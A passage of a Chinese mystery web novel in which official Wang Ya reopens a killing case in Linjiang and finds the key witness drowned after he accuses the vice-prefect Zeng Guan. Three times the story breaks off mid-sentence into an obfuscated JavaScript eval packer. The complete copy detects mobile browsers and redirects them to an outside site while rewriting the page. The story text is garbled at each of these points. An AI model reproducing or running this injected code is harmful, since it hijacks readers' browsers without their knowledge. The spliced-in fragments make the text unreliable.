于是着判商秀赔偿,不必刑罚,可郝二九孤身一人,商秀就算有心也不知该赔给谁,只好作罢,府衙将印一盖,结案了。 “归云?” 卷宗上还夹带着这位的证词,不过也没什么能用的,他的意识在半山腰上头一回遇袭时就已经失去了。 “是我的好友,号归云,名为归子衿,临江府人士,画坊的画师。” 提起归子衿,商秀不觉有些黯然神伤,自打那回以后,归子衿就一蹶不振,几乎发狂了,也不再作画,踪迹也神出鬼没。 “你说,当时有许多人?同郝二九是一伙的?” 然而卷宗是记录的只有两人,一个是郝二九,另一个是郝二十,兄弟俩,再多就没有了。 “吵吵嚷嚷的,记不清了,后来官府也没查到更多人,或许是我一时慌乱,看错了?” 商秀试图回忆起当时的场景,然而越回忆越模糊,他甚至记不清当时归云的神情,只记得他倒在地上。 “你们在登山前饮了酒?” 望涯想不通,怎么敢在饮了酒后还去登山的,难不成是喝大了? 然而商秀否认了这一猜测:“我们喝得很少,也就…这么多。” 他用食指和拇指比划了一小截, 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“回大人,很好。还有……我叫高牧。” “很好听的名字。” 望涯一直等在那儿,等宋远华收拾好一切,将书院落了锁,这才推着她慢慢走着,回到宋宅后她才放下心来,将一个沉甸甸的钱袋交给宋远华:“这个你留着,给学生们添置些笔墨,但不要叫她们知道。” 望涯无法保证里头每一个人都是纯良的,她自小就在泼皮堆里混着,深谙‘人性本恶’的道理,他们甚至会为了一个铜板将人死死按进沟渠里,亦或没有任何理由的将某个倒霉蛋打成瘸子瞎子,而他们不会承担任何后果。 望涯给宋远华的是明晃晃的银子,她必须确保不会以这笔银子为线索,发生一起谋财害命的案子。 “这太多了。” 宋远华捧着钱袋,这于书院来说无疑是一场及时雨,她的身家几乎能算没有,一边要补贴家用,余下能够投入书院的微乎其微。而张清的积蓄同样,她们的源头有限,底下却有一群嗷嗷待哺的学生,每日都需要花销。 “收好了,财不外露。” 望涯再次嘱咐,又俯身替宋远华拢了拢膝上的毯子,秋风萧瑟,再过一阵,恐怕又要换上去年贺微送的厚毯子了。 宋远华转而压住望涯的手:“你身上还有银子吗?你还得到临江府去的,身上的盘缠得带足,书院这里无论如何都能过的。” 望涯一笑:“当然有,这是大理寺的差事,公费自然充足。并且,夏珏的案子里我可是有功绩的,还替太子挡了一灾,赏银只多不少。” 宋远华这才松了口气,小心翼翼将钱袋收好,又从袖子里拿出单子递给望涯。 望涯接过,继续道:“近来礼部尚书身上或许会有官司,因此张清恐怕也无法时常到书院去,需得你多加操劳了,倘若有事,可同双儿商议,至于其他学生……切勿轻信。” 单子上记着学生们的新名,是户籍上需要用到的,等她们有了新户籍,是去是留,便由她们决定了。望涯粗略看了一眼,发现其中有姓宋,也有姓张,唯一一个姓望的,叫望唯安。 “双儿太贪心,既想跟老师姓宋,又想跟小望大人姓望,于是抓阄,终究是你的运气要好些。” 望涯笑着,将单子折了两回,好好地收起来了。 84.临江府 “小望大人,路上小心,一定要平安回来!”唯安恨不能抱住马腿,同望涯一道下临江府去。 “好了好了,快回去罢,当心被人牙子拐跑了。”望涯提了提沉重的包袱,接着上车去,再掀开帘子,非要看见唯安进了金风楼才放心。 于是车夫拽了拽缰绳,启程了。 …… 临江府人杰地灵,山清水秀,瞧着也十分富庶。 一路走马观花,很快就到了府衙门前,望涯下车,随手理了理衣着,接着揣上公文,正准备进府衙,却见门前的告示栏上张贴着许多海捕文书。 望涯的目光停留在角落里的那张,大抵是常年风吹日晒,纸张已经发黄,连上头的画像都斑驳陆离,看也看不清了,唯余‘郝二十’三字还清晰可见。 当年商秀砍死了一个郝二九,剩下一个郝二十下落不明,竟还在外逃窜。 望涯收回目光,跟随小吏去见通判,此间通判姓曾,名观。望涯原本以为,这样府衙的通判,大抵日子过得不错,长相或许也是富态的,然而真正见到曾通判时,望涯稍微晃了神,这才反应过来,同他见礼。 曾观双目凹陷,形容枯槁,甚至要比缠绵病榻的王驰还要羸弱。 “是望司直啊,久闻大名。”曾观步履蹒跚,左手拄着木拐,示意望涯入座。 望涯客气一番,这才依礼坐下:“此番前来,是为复核两年前商家四郎的案子,不知卷宗是否还在?” 曾观点点头,又传主簿。 主簿姓蔡,名三,年纪很大了。 “这位是大理寺司直,姓望,来复核案子的,你带将两年前商秀的案宗找出来给她。”曾观给蔡三派活儿了,不是很难的事,交到蔡三手里却需要磋磨很长时间,因他的一举一动十分缓慢,活像一只在岸边晒太阳的王八。 望涯左等右等不见人影,只好起身去帮忙。 可库中卷宗数量庞大,其中章法恐怕也只有蔡三懂得了,因此她也帮不上忙,只得在一旁干等着,眼见蔡三拿起又放下,再低头查看字迹潦草的单子。 身后传来一阵动静,望涯回头,便见曾观也来了:“望司直远道而来,可打算好住处了?” “方才路过一间客栈,正打算稍后过去,顺道尝尝临江府的菜。”望涯抬手接过蔡三要塞回去的卷宗,将其稳稳当当地放回高处的架子上。 曾观指了指后院,道:“倘若你不嫌弃,可在府衙安顿,咱们知府另外有住所,并不在后头居住,因此那头常空着,偶尔有人洒扫,还算清洁。办事也便利不是?” “这可太好了,省得再折腾一趟。”望涯欣然接受,蔡三朝一个方向伸手,望涯就先一步替他拿下来,低头一看,上头记录的正是商秀的案子。 蔡三张口想要说话,望涯盯着他大气不敢喘,就在她快要憋不住时,就听蔡三道:“正,正,正是,这,这个。” 原来还是个口吃。 望涯展开卷宗,趁着曾观还在,顺道问:“曾通判可知道归子衿的下落?” 曾观一怔,接着点头:“前两日来过府衙,要了些干草,想来也不会走远,你要见他?” 望涯道:“需得核对证词。” 于是曾观差人找归子衿去了,提起归子衿,他未免也叹惋一阵:“如今他是不大好了,想来是前年魂魄被吓走,失了神。” “他是疯了?”望涯问。 曾观点头,接着笑道:“对了,晚些时候你同我一齐去拜访乔知府,昨儿他就说好了,设宴,宴上定有临江特色,望司直可有口福了。” 曾观走后,望涯开始复核卷宗,蔡三就在一旁做事,忽听望涯发问:“蔡主簿,归子衿疯成什么样子了?” 蔡三思索片刻,这才摆摆手:“依,依我看,他,才,才,才不疯呢。” 望涯聚精会神听着,五官也跟着用力,不觉皱成一团。她恨不能将蔡三提溜起来,将他要说的话一股脑儿倒在地上。 “哦————”望涯将纸笔往他手边递了递:“您写在纸上成吗?” 蔡三不好意思地笑笑,望涯又问:“可人人都说他疯。” 半晌后,蔡三将纸递了回来,上头写着。 ‘从前他一家子就住在我屋后,数十年前他还穿开裆裤时我就认识他了,同现在并无分别,与从前比起来不过是沉默寡言些。自打发生了这个案子,他就一蹶不振,不想活了也是人之常情,可不知打哪儿吹来的风,都说他被吓傻了,总之,大人亲自见过也就明白,他还精着的。’ 望涯拿着纸张若有所思,人人都说一个常人是傻子疯子,目的不过是想让人对他嗤之以鼻,将他说的话打上‘谎言’的封条。这往往说明,他说的是真话。 日落西山时,仍是没有归子衿的下落。 而望涯却无法再等,只好收拾收拾,跟随曾观赴宴去了。 然而望涯不大明白,她又不是什么大官,这位知府何必设宴款待? 曾观笑答:“知府好客,有事没事就要设宴,习惯就好,也不是什么大席面,不过是上几个酒菜,几人一同谈天说地,待乔知府尽兴,咱们就能走啦。” 原来是陪他玩儿。 很快就见到乔知府了,知府名为乔波,长得圆头圆脑,身形要比两位身怀六甲的娘子摞在一块儿还要圆出两圈,走起路来气势磅礴,地面都要震上几震。 “啊呀,是望涯,望司直罢?快快入座,好不容易来一趟临江府,一定要尝尝我们的螃蜞。”乔波说话的声量也很大,望涯不动声色往旁挪了两步。 席间乔波气吞山河,风卷残云,来之前望涯已经做好了同他‘谈天说地’的准备,然而几人一落座,菜品就如同流水般被端上桌,乔波也顾不上说话了,埋头苦干,时不时抽出空来敬几杯酒,又叫下人给望涯添菜,望涯不好拒绝,于是慢慢吃着,偶尔瞥两眼曾观,发现他看似在吃,实际上一点儿也没动。 “如何,可还符合你的胃口?”乔波笑问,两只眼睛眯成两条缝隙,望涯很想知道他这样会不会把人看扁。 “很好吃,可惜办完事便要回京,想来再要吃到这些佳肴就有些困难了。”望涯由衷道。 乔波像是听见了什么喜讯,大笑起来:“那是,出了临江府,别的地儿都不如这儿的好吃,且,一年中四季,都有不同的时兴,你来得赶巧,正是秋天,是吃蟹的好时候……” 席间多螃蟹,有醉螃蜞,还有蟹酿橙以及持螯供,这是望涯头一回见到这么多花样,从前吃过螃蟹,却也是人家一时兴起,赏给她的螃蟹腿。 乔波说起吃食滔滔不绝,倘若从头记录,大抵能够修出一本厚厚的食谱,倒也没有愧对他的体格。他愿意说,望涯愿意听,曾观时不时说上几句,等吃食说完了,席间陷入了短暂的沉默当中。 乔波忽然醒悟过来,望涯是来查案子的,于是难得过问:“你查的是什么案子?” “两年前商秀的案子。” 乔波点点头,但他对此没有印象,于是转头看向曾观。曾观了然:“两年前,归子衿同他的好友商秀在五仙山上遭遇两贼人,后来商秀挣扎中将贼人砍死一个,余下的还在逃窜。” “原来如此。”显然,乔知府对此还是没有印象,忽然灵光一现,转头看向望涯:“五仙山上产灵芝,拿它入药也好,炖鸡也罢,都是很好的!再加入枸杞红枣,文火慢炖……” …… 从乔府离开后,望涯同曾观道别,自顾走回府衙去。 府衙门前除了值守的衙役,还有一团白色的人影,望涯走近了,发现那是一个身着白衣的男人,长相清秀,身形高挑纤细。 “望司直。”衙役大老远就瞧见望涯的灯火了,于是走近,指了指那团人影,带着浓重的乡音道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当时你在哪儿?” “屋子里。” “就你一个人?” “是。” “可商秀说,当时郝二十也在屋子里。” 归子衿攥了攥衣角:“我记不清了。” “好,换句话说。你同商秀是好友,对吧?” “是。” “当时你也亲眼看见郝二九对商秀下手,那你为何不帮帮商秀,难道就那样眼睁睁看着他去死?”望涯算得上是咄咄逼人了,为了避免把归子衿‘逼疯’,她起身斟了杯凉水递给他。 归子衿接过水,抿了一口,觉得不够过瘾,又一口气喝完。 望涯朝他伸手接过空杯,又续了满杯递回去。归子衿再喝了半杯,这才猛地抬头:“我记不清了。” 望涯默声,静静地看着他,脑袋里将案情重新过了一遍。然而归子衿却捱不过这漫长的沉默,他只觉得如坐针毡,于是起身要走,走了两步却折返回来,反复如此,倒让望涯琢磨不透了。 “你若是不想进刑房,就回来把话说完。” 归子衿忽然停下脚步,双手不觉颤抖,不知过了多久,他才缓缓回过身来,眼眶发红。 “郝二九……是曾观杀的。” 这句话他憋了两年,期间也到府衙递过诉状,每每却如都石沉大海,渐渐的,不知打哪儿传来的风声,一夜之间,谁都把他当成疯子看待,画坊也不再收他的画,走投无路时,只有曾观会给他些银子,叫他没法儿饿死。 可就是这般,归子衿才对曾观没辙,一来是曾观清名在外,二来是自己的把柄在他手里,因此不得不屈从。 “是曾观叫我引商秀上山的!” 85.急功近利 钟声响了十五下,该是卯时了。 望涯从梦中惊醒,发觉自己竟出了一身冷汗,窗外透着蓝色的光,是天亮的征兆,此时若是打开门窗,就能看见万物都被笼罩其中,透着幽幽的诡异感,恍惚间竟不像人世。 她起身穿戴整齐,打开房门就着寒冷的井水洗了把脸。 昨夜归子衿指认,是曾观胁迫他引诱商秀上山,还给他喝了蒙汗药,使他神情恍惚,分不清真假,再将郝二九的死盖到他头上。左右商秀家境殷实,就算是刻意杀人,也会有人保他全身而退,更何况是‘失手’,而归子衿以及曾观却承担不起这个后果。 这似曾相识的手段,不免让望涯回想起张渊。 她叹出一口气,打算再去找一趟归子衿,昨儿他指认后又反悔,死活不肯写证词,甚至大声叫嚷,引来衙役,又挣扎着要扑向望涯,于是衙役们七手八脚将他死死按住,扫地出门了。 望涯一路朝前院走去,朝衙役打听了归子衿的住处,便依着指引去了。 初秋的清晨很冷,日头出来的也慢,望涯环抱双手,不至于叫冷风灌进衣袖里。街面上很寂静,等她走出一段距离后,忽然间开始活络起来,民宅里点灯的点灯,出门的出门,连天光都要更亮些。 路过一口水井,望涯原本不想多瞧,却鬼使神差地停下脚步,接着后退几步,站在井边,将目光投向井底。 ‘咕嘟’一声,从底下冒出一个大泡,紧随其后浮出水面的。 是归子衿泡得发白的脸。 …… “是溺毙的,大抵在昨天后半夜。”仵作将尸格递给曾观。 曾观接过,很快就下了定论:“据说昨夜归子衿发狂,试图伤害望司直,想来也是疯病发作,自己投了井。”他说着话,一头悄悄打量身旁的望涯,见她脸色阴沉,正看着归子衿的脸出神,他问:“望司直,昨夜你可核对过归子衿的证词?” 望涯闻言稍微动了动,转头看向曾观,并不回答他的问题,反问道:“曾通判也不是新官上任,如何就敢胡来,一口断定是他自己投的井,不立案调查么?” “自然是得立案的,就是当前秋收的粮食正在核算,稍晚些还要报税赋役,只能交由底下的推官调查,然推官设置并不齐全,老的太老,小的太小,要想结案恐得多费些时日。” 曾观的意思很明白了,反正归子衿你也见过,该问的你也都问过,一切都符合章程,你盖了印章就能老老实实回京交差去了。倘若非要一个说法,那就只能等着。 望涯抬手挠了挠手臂,一脸无邪:“也罢,那我留下再多吃几日螃蟹好了,只是商氏要得急,恐怕得劳烦曾通判多多费心,尽早让归子衿有个说法,倘若他真是自己投的井,那他便是真疯了,证词自然也不能作数,如此,我也只得回京去……” 曾观稍稍松了口气,便听望涯继续说:“请我的恩师亲自过来核查。” 这自然是不可能的,此时的张行简恐怕自顾不暇了,哪里还能空得出手来管这样的事情,但曾观却不得不信,他不能让这事愈演愈烈。 不等曾观反应,望涯自顾迈出门槛,心里数了三个数,在最后一声落地前,曾观果然开口挽留:“望司直,如今归子衿已然不作数了,可郝二十还活着,有他的口供大抵也是够用的。” “你知道他的下落?” 曾观左手攥了攥木拐,手心出了一层细汗:“前阵子有人发现他的下落,四天以前已经在搜寻了,想来不用多久就能将其抓捕归案,只是还需等待。” “三日时间,等不到我就回京。”望涯正要走,又听曾观道:“望司直何必心急,倘若此番空手而归,岂不是辜负了少卿大人的期盼?” 望涯驻足,良久后留下一句:“四日。” 正午时分,乔波可算从家中出来,到府衙坐镇,还带了些许瓜果茶点,手上提着鸟笼,一来便要见望涯,将最好的茶点让她尝尝。 望涯却对笼子里的鸟更感兴趣:“这是什么鸟?” 乔波脸上带着几分自豪:“是陇西来客,会说人话呢。” 他尝试用干果贿赂这位客人,可无论如何加码,贵客始终无动于衷。 望涯忽然笑了几声,乔波不明所以,正要发问,就听她答:“我瞧着,竟有些像曾通判。” 乔波闻言,绕着鹦鹉走了几圈,接着捧腹大笑:“是也是也,非但长得相似,就连性情也一样,阴晴不定,时而开怀时而低沉。” “竟是如此么?我见通判还算沉稳。” “不不,从前那家伙唯唯诺诺,贪生怕死,什么事都要他夫人做主,本官常说,不如让他夫人来当这个通判。后来他发妻过世,无依无靠了,这才渐渐变得可靠。” 乔波一说起闲话就止不住,又说:“娶妻娶贤,他的发妻当真是个贤良方正的人,当年临江府地震,死伤无数,当时那位知府只知道朝上苍祈求,是她带人修路修渠,在废墟里修医馆,搭棚屋,又没日没夜地刨人,救了好些人命,倘若没有她的善举,就凭曾观的德性,还通判呢,主簿都不知道能不能当上。” 他再叹出一口气:“可三年前,这位夫人莫名其妙自缢在自家房梁上了。” “不知原由…就自缢了?” 望涯问。 乔波点头:“本官不知,街坊不知,可他曾观,何尝不知?” “此话怎讲?” “啧,她也爱吃螃蟹,往年本官都要从宅子里拨出醉蟹叫曾观带回去的。那年她若是走得晚些,定能吃到最鲜的蟹,你想啊,必定是发生了坏事,并且是大坏事,否则如何能够置螃蟹于不顾,寻了短见呢?” 乔波脸上难得出现了几分怒色。 他坐下,咬牙切齿地吃了块糕点,又顺了杯热茶,继续道:“那样一个有勇有谋的夫人,旁人是伤不到她的,那便只有身边人,她身边有什么人呢?一个曾观,一个女儿,她女儿也是乖巧懂事的,那便只有一个窝窝囊囊的曾观能够把她气到上吊了呀!” “乔大人英明。” 望涯拱手,满脸敬佩,再探了探身子,问:“大人以为,曾观能做出什么事情把人逼入绝境呢?” 乔波思索半晌,一本正经答:“本官不知。” 他确实不知道,曾观怕死,行事也窝囊,可大多时候还算靠谱,也并不浪荡,他就是想破脑袋也想不出来曾观能做出什么逼死人的事,索性不再想,因为一年四季都有要紧的事情办,那便是将时兴的菜细细品尝。 “那他的腿……” “原来不这样,约摸是三年前瘸的,在他夫人死之前就瘸了,据说是摔的。” 乔波将一碟果脯递给望涯,望涯从中捡了几颗,一股脑塞进嘴里细细咀嚼。 “乔大人,归子衿同曾通判交情很深吗?” “归子衿?” 乔波对他没有什么印象,于是转头看向老仆人,老仆倒是了解:“是画坊的画工,小有名气,从前常到聚金酒楼去……” “聚金酒楼?” 乔波忽然来了精神,貌似有什么要紧的话要同望涯说,却又憋回去,欲言又止,最终一咬牙,低声道:“那个地方可不光彩。” 望涯也低声问:“有什么说道吗?” 乔波朝老仆使眼色,老仆笑道:“那儿的东家,是个断袖,据说店里的伙计大多也是。” 原以为望涯这样的小娘子会对此感到难以启齿,结果非但没有,甚至伸长脖子问:“那归子衿也是?” 实际上这并非奇闻异事,从前她在酒楼里跑堂时就见过不少,也未觉得不妥,萝卜青菜各有所爱嘛。 老仆一怔,接着答:“这就不得而知了,但从前他是有妻儿的,约摸三年前和离,被扫地出门了。” “他妻儿如今在哪儿?” “回娘家去了,她娘家不在临江府,要更南边。” 望涯正要继续问,却有人来报,曾观来了。 乔波几人面面相觑,这才示意让曾观进来。 曾观是来找乔波商议其他事务的,没想到望涯也在此处,桌上的干果吃得差不多,茶水也是刚满上的,还在往外冒着热气。 望涯起身同他见礼,待曾观同乔波商讨完便问:“归子衿的案子曾通判交由哪位推官了,是否需要帮忙?” 乔波有些疑惑:“归子衿有何案子?” 望涯适时的叹出一口气,接着放下手中的瓜子,叹道:“他溺毙在了井里,还是下官把他捞上来的。” 方才还在说他的闲话,下一刻却告诉他,归子衿死了。乔波一时没有反应过来,转头看看曾观,又看看望涯,半晌后才问:“怎么忽然死了?” “正在查,大抵是自己投了井。” 曾观道。 他再一次下了定论,只要他说的次数够多,听的人够多,自然而然就是所谓‘真相’了。 “曾通判真是明察秋毫,今早才立的案,正午就能结案了,望某实在佩服,不知曾通判可否将案情透露一二,也方便了结商秀的案子。” 望涯满脸真诚。 曾观的脸色已经不大好看,双手交握在拐杖上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546217|126810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仍是那套说辞,‘归子衿是疯子,做出什么举动都不稀奇。’ 乔波似乎也赞同这个说法,直到望涯问出一句:“凡事都要讲证据,曾通判总说归子衿是疯子,可有大夫出面替他诊断,并告知大家他是疯子呢?” 曾观不答,倒是乔波恍然大悟:“对啊。” “望司直亲眼所见,不是疯那还能是什么?” 曾观转而看向乔波,继续道:“昨夜望司直找归子衿核对证词,他却忽然发作,要置望司直于死地,亏得衙役赶到才没能酿成大祸,这岂是常人的所作所为?” “曾通判也说了,是望某亲眼所见,曾通判并未见到,如何信誓旦旦说他要置我于死地?” 望涯同样看向乔波:“下官同许多疯子打过交道,文的也有武的也罢,但归子衿却不像,他扑过来刚要说些什么,衙役就鱼贯而入,将他按倒丢了出去,越是如此,他就越着急,看在别人眼里就越像疯癫,可他不过只是想说话而已。” 乔波听得一头雾水,归子衿‘疯’了两年,如今望涯提出,他其实不疯,而曾观却咬定他就是疯子,两厢你一言我一语,却都有理有据。 望涯喝了口茶水,眉头却未舒缓:“还请乔大人做主,彻查归子衿之死,否则我的商秀案该如何了结?” 曾观狐疑地看向望涯,明明先前说好了,归子衿这个窟窿,拿郝二十填上,可为何到了乔波跟前,她又抓着这个坑不肯松手。 不等他开口,望涯倒是先说:“曾通判,您也别提郝二十了,他都逃了多少年,当真就能在这一朝一夕里抓捕归案乖乖给我口供?望某虽然见识浅薄,却也未到‘痴傻’的地步,吃不下这顿糊弄。” 眼看望涯就要发脾气,曾观也并不想得罪这位小小的京官,只好深吸一口气,问:“归子衿的案子确实难以决断,郝二十同样不能确保……那你看呢,你想怎么办?” 如今在场的三人,最‘心急如焚’的莫过于望涯了,身为初出茅庐又‘急于求成’的她,既正直到不肯糊弄,又着急得立马就要一个说法,可自己又想不出个一二三来,只得站在一旁生气。 乔波见状只好道:“既然如此,归子衿的案子,就由望司直帮忙审理,曾通判,那个推官是谁?叫他带上望司直。” 少年人仗着自己京官的身份作天作地,把案子见到她手里,等她自己捋不清楚又没法拿出个结果时,自然就会选择最初的法子:盖个章,回京。 经此争论,曾观对望涯的观感由‘值得提防的京官’,转变为‘急功近利见识浅薄的小人’。 而望涯则心满意足的将案子揽到了自己手里,且非案件主审,只是贴在推官后头当催命符。 推官是个老推官,姓田,耳不聪目不明,比蔡三还要难相处。 望涯越过慢吞吞的田推官,先一步朝归子衿的住所去了。 曾观太奇怪,前脚归子衿刚指认了他,后脚就死在了井里,要说是巧合,没人会信,可苦就苦在无凭无据,归子衿不肯写诉状,当天夜里也无旁人作证,就算有,他们也不会把归子衿的话放在心上, 曾观杀了郝二九。 曾观为何要杀郝二九? 归子衿的住处是座矮矮的民宅,四处透风,也未上锁,只轻轻一推,半扇门就‘咣当’一声掉下来,好在望涯眼疾手快接住,才没能叫它摔个四分五裂。 将门板轻轻放下后,又进到里屋,里头的墙面上挂满了画,陈设却很简单,一桌一椅,一床榻,再有口陈旧的大箱子,床榻上的被褥破败不堪,上头垫了许多干草,想来应该是预备过冬的。 望涯小心翼翼推开箱盖,这才看见里头装着的是归子衿的画。画山水也有,丹青也有,意象同墙面上那些大抵相同,可墙上挂着的都是水墨画,没有一点色彩,箱子里的却色彩明艳,落款也都是在几年前。 也就是说,近来归子衿所作的画,都是水墨了。 桌案上的砚台里有未干的墨迹,除此之外还散落着横七竖八的各色画笔,烛火燃尽,融化的蜡胡乱凝固着。望涯俯身,将视线同桌案齐平,再直起腰板,无论怎么看,桌上都该要有一幅画纸的位置,可惜没有。 是有人来过,取走了什么? 一只肥硕的灰耗子钻过层层干草,再没入墙缝中消失不见。 望涯从门口处开始,逐一看过墙上的挂画,其中并无规律,有些是奇石,也有画山峰的,偶尔夹杂着花鸟鱼虾。 等她全都看完一遍,才见田推官从远处缓缓走来。 86.聚金楼 贺微抬头,看见城门口上悬挂着藤条编成的笼子,里头赫然装着一个已经腐烂的脑袋,花白的发丝迎风飞舞,这是谁? 很快回了贺宅,贺川先到各处盘账,又差人安顿好贺进母子,贺微则带着万叔到书坊去,她倒是想见望涯,可这个时辰她大抵还在当职。 “万叔,城里近来如何?” 望涯总在信上报平安,可贺微知道京城里一定不太平,否则又怎么会把自己撇回贺家庄。 万叔从贺微刚刚离京说起,望宅失火,夏氏被查抄,夏氏父子谋逆宫变,庆王赵邕出了诏狱,夏珏杀头,接着望涯出使临江府,如今是礼部尚书被立案,说是徇私舞弊,连带着大理寺少卿张行简也被停职,另一位少卿王驰擢升大理寺卿,户部侍郎莫时擢升户部尚书,又有北方战乱,总之就是,要多乱有多乱。 最主要的是,夏珏一死,连带着他的党羽也死死的伤的伤,因此,商会的生意也受到了不小的影响。 贺微听了半晌,手边胡乱拨着算珠,忽然问:“所以城门上的脑袋,是夏珏?” 万叔点头:“正是。” 这便是蚍蜉撼树么?贺微面上盘账,脑袋里却并无账目,思绪不自觉飘向远方,她仿佛能看见将来的望涯身居高位,是位顶天立地的宰相了。 “小娘子是想到什么开心的事了?” 万叔见贺微笑容灿烂,回想方才自己说的话,一时不清楚里头有什么值得高兴的事。 “万叔,货栈的册子给我看看吧,该准备下海的货物了。” 贺微不答,眼睛里却在熠熠闪光,望涯在官场里纵横天下,自己也不能给她拖后腿,彼时一官一商,岂不天下无双! 忽然瞥见外头的青天白日,于是敛了笑容,继续盘账。 …… 赵俨正在打坐,身侧的炉子香烟袅袅。 素日里的洪长风走起路来同鬼魅一般没有半点声音,可每当赵俨打坐或是假寐时,他就会识相地弄出点声响来,譬如眼下,赵俨听见了一阵轻轻的脚步声,于是悄然呼出一口长气。 “陛下,庆王殿下求见。” 赵俨沉默半晌,接着缓缓睁眼,再问:“你说,朕是见还是不见?” 这个问题无论如何回答都是死路一条,倘若劝他见见,说不定赵俨打手一挥,就把自己归为庆王党了,倘若劝他不见,那岂不是挑拨皇室亲情,死得更快。 “老奴愚钝,陛下若是纠结,何不卜上一卦?” 普天之下唯有一类人可以肆无忌惮地得罪帝王,那便是天上的神仙。 赵俨轻笑一声,不知打哪儿摸出来两枚铜钱,再随手一掷,不等它们在地上翻滚出个卦象,洪长风便听他道:“叫他进来。” “是。” 赵邕身着朴素,打眼一看,并不像个王爷。 进殿先拜皇帝,又说了一大串吉祥话,这才言归正传,他提出要同豫王一样,就蕃。 明面上是自觉退出党争,然而赵俨的脸色却在那一刹那变得难看,边关的沈泰还未有回音,而战情不容乐观,朝堂中死了一个夏珏,如今能用的武将屈指可数,沈泰算半个,赵邕算一个。 赵邕此举无疑是在试探朝堂的水深,看在赵俨眼中,也是挑衅。 没有他,边关就得失守,所以得把权利交还到他手里,整个宣庆朝有无赵俨这个皇帝都无所谓,但没有赵邕,边关就得失守。 然而更为致命的是,事实如此。 赵俨随手从棋罐中抓出一把,左手倒右手,不时有棋子掉落在毯子上,良久后才缓缓说道:“何必着急,还有一个月就是你生母冥诞,办完再走也不迟。” 如今韩娘子昭雪,各种祭日也都得提上日程了,身为儿子的赵邕按理来说应该在场。 赵邕推托不得,否则脑袋上就得扣上一口不忠不孝的锅了。他只好应下,正要起身离开,那头的赵俨又道:“庆王在诏狱里受苦了,眼见也清瘦不少,往后便在府里好好休养罢。” 这一场对弈,终究还是赵邕一败涂地,但他并未放在心上,等沈泰兵败,一切就都尘埃落定了。 赵俨看着赵邕的身影消失在殿中,接着就有人来报:邓昔入京了。他对这个消息并不意外,但对邓昔的观感却悄悄下滑了几分。 “听闻邓郎君仪表堂堂,颜如冠玉,每每出门都是掷果盈车的景象,才学也颇有建树。” 洪长风并未见过邓昔,可底下的宫人见过,据说当真玉树临风,而赵俨正在留意驸马的人选。 赵俨瞥了眼洪长风,并不作答,反道:“把册子拿过来。” 很快,赵俨手上多了本册子,上头记着几个人名。 孟修远,林昭,张行简,黄寻,如今又添上了邓昔。 庆王府里。 赵邕的儿子们哭成一团,当初庆王府被查抄监管,几个管事的一同下了大理寺狱,金银财宝成箱的被抬出门去,莫说平日里那些上赶着巴结的小妖,就连送菜的也不来了,日子过得乱七八糟,看门的狗都瘦了两圈。 “哭哭啼啼成何体统。” 赵邕听得头昏脑涨,无奈闭了闭眼,将他们通通打发了。 在无为的案子里,赵俨伺机将他的权柄扫了个一干二净,其中也包括被流放的卢惕守,得亏有他在,否则就算赵俨有心,大理寺也找不到合适的替罪羊。 “殿下,张少卿明日便又恢复早朝了。” 张行简统共停了不到五日,甚至连张仁昌的案子都还没有定论,就这样复职,可见倘若张仁昌不再是礼部尚书,也不会动摇到张行简的地位,因为他依靠的不是亲爹,而是赵邕的亲爹。 赵邕叹出一口气,躲进书房中没了动静。 …… 眼前的人咳出一口浓痰,随后拿衣袖抹了抹嘴,这才道:“往前走两步,再往东走几步,看见门前插着枯草的就是了。” 望涯不动声色后退一步:“多谢。” 归子衿的住处别的没有,净有画了,望涯袖手在一旁看着,确保田推官将东西一样不落地封箱抬走,另外列了两张单子,一张官府留着,另一张则由望涯保管,收了单子,这才同他告别,一路打听找到归子衿爹娘的住所。 据说归子衿是被他爹娘赶出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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董怡瞥了一眼归子与,眼里闪过一丝厌恶,但很快垂下头,若无其事地给望涯上了热腾腾的茶水:“夫妻之间哪有那么多道理原由,日子过不下去,自然就各奔东西了。” 她自以为隐藏得很好,可没料到眼前的望涯是个十成的人精,一闪而过的东西被她尽收眼底。望涯看看归子与,再看看董怡,最后低头吹了吹茶水,递到嘴边又放下,转而问:“我见二位恩爱有加,想必是新婚罢?” “什么新婚,成婚都快九年了。” 董怡看向归子与:“大人问话你就答,我出去料理那条鱼。” 转头又问望涯:“大人可有什么忌口,红烧成吗?” “娘子不必操劳,我事情办完就走了。” 两厢客气一番,董怡便到厨下去了。 望涯环顾四周,成婚九年,但屋子里并没有孩童留下的痕迹,这倒是少见。 直到日落西山,望涯也无法从他们的口中打听到有用的东西,只好起身离开,正要回到府衙,忽然间福至心灵,调头往聚金楼去。 87.蒋常 夜幕降临,酒楼里正是热闹的时候,加之秋收收获颇丰,四处都是喜气洋洋的,屋子里弥漫着羊汤以及螃蟹的香味,望涯正要到柜台上去,打眼一看,身旁那桌客人的桌上赫然摆着条快被吃干抹净的大鲤鱼。 “这位官……人,堂上还是包房?”老伙计脸上堆笑,鬓边簪一朵粉色绒花,纵使对眼前的女官心存疑虑,但态度依旧十分客气。 “都不是。”望涯摊开手心,上头静静躺着些银子:“是来打听消息的。” 